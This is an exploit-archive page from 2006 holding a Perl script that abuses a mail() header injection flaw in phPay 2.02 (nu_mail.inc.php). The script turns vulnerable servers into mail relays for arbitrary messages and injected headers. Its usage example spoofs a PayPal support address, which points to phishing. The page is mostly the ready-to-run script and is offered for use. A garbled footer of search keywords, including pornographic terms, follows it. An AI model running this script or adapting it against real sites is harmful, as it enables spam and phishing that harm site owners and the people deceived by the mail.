about advertise contact
Search: Home Vulnerabilities Exploits News Articles RSS Feeds Archive

exploits , vulnerabilities , articles , phPay <= 2.02 (nu_mail.inc.php) Remote mail() Injection Exploit




2006-08-14 phPay <= 2.02 (nu_mail.inc.php) Remote mail() Injection Exploit
Rated as : High RIsk

#!/usr/bin/perl
#####################
# Script: phPay v2.02 http://phpay.de/
# Vuln File: nu_mail.inc.php
# Exploit & Advisory: beford <xbefordx gmail com>
# Vulnerability: mail() Injection
# Vuln Code:
# <?php
# if (ereg("nu_mail.inc.php", $SCRIPT_NAME))
header("Location:./index.html");
# elseif (ereg("nu_mail.inc.php", $_SERVER['SCRIPT_NAME']))
header("Location:./index.html");
# $mail_text="$mail_2a\n\n";
# ...
# That *should* prevent direct access to the vulnerable file, but they
didnt die()/exit()'ed
# so, pwnt. You need register globals enabled to be able of exploiting
this issue.
#
#####################
use LWP::UserAgent;
use URI::URL; 
print "\n[*] phPay v2.02 nu_mail.inc.php mail() Injection\n[*]
exploit&advisory: beford <xbefordx gmail com>\n";
if (scalar(@ARGV)<6) {
	print "\tUsage:\t./own.pl <host> <path> <email-to>
<email-subject> <email-message> <email-from>
[headers]\n";
	print "\t<host> : orly\n";
	print "\t<path> : folder where phpay is installed /phpay/
/phpayv2.02/ ..\n";
	print "\t<email-to> <email-subject>
<email-message> <email-from> : duh\n";
	print "\t[headers] : optional extra headers for mail
\"%0AContent-type: text/html%0A%0A\"\n\n";
	print "\t./own.pl http://www.vuln.es /phpayv2.02/ x\@mail.co h4x
\"hack\" support\@paypal.com \n\n";
	exit;
}
$host = shift @ARGV;
$path = shift @ARGV;
$to = shift @ARGV;
$subject = shift @ARGV;
$message = shift @ARGV;
$from = shift @ARGV;
$headers = shift @ARGV;
my $url = URI::URL->new($full);
$full = $url->as_string;
$full = 
"${host}${path}nu_mail.inc.php?mail_text2=${message}&user_row[]=&user_row[5]=${to}&nu_mail_1=${subject}&shop_mail=${from}${headers}";
print "[*] exploiting $host\n";
$ua = LWP::UserAgent->new;
$req = HTTP::Request->new('GET',"$full");
$res = $ua->request($req);
print "\t[*] mail sent\n" if $res->is_success;


securitydot.net - 2006-08-14

Advertising

Copyright 2007, SecurityDot
Sat, 19 Dec 2009 04:37:13 +0000

Friends : milw0rm.com , secunia.com , securityfocus.com
GOOGLE
NEWS EXPLOITS VULNS
exploits , 0day exploits , newest exploits , vulnerabilities , newest vulnerabilities , 0day vulnerabilities , newest articles , linux articles , articles
xxvx t45t MsnMesseng mambo Remo www.88010. www.gsoho. mallika s almond joomla rem 18927 The BEST S man fuck a Www.Sex id shangstree im me Punyu Dolphin Sm adult tuba www.nuanqi Crack Data Blowjob php-nuke+2 www.nuanqi pornvedioe rooting for ...n P botnet irc ventrilo 2 pornvedioe Images Patruya 81 fuck vedie aspplaygro Tagger LE. rembox@elr xvidoe fre www.999kl. indiansexs CVSNT Tv5.com maxcpm.inf www.toolet www.istitc WwwKeralas lo460l www.noook. sex animl 200 /compo Access V Nacket vid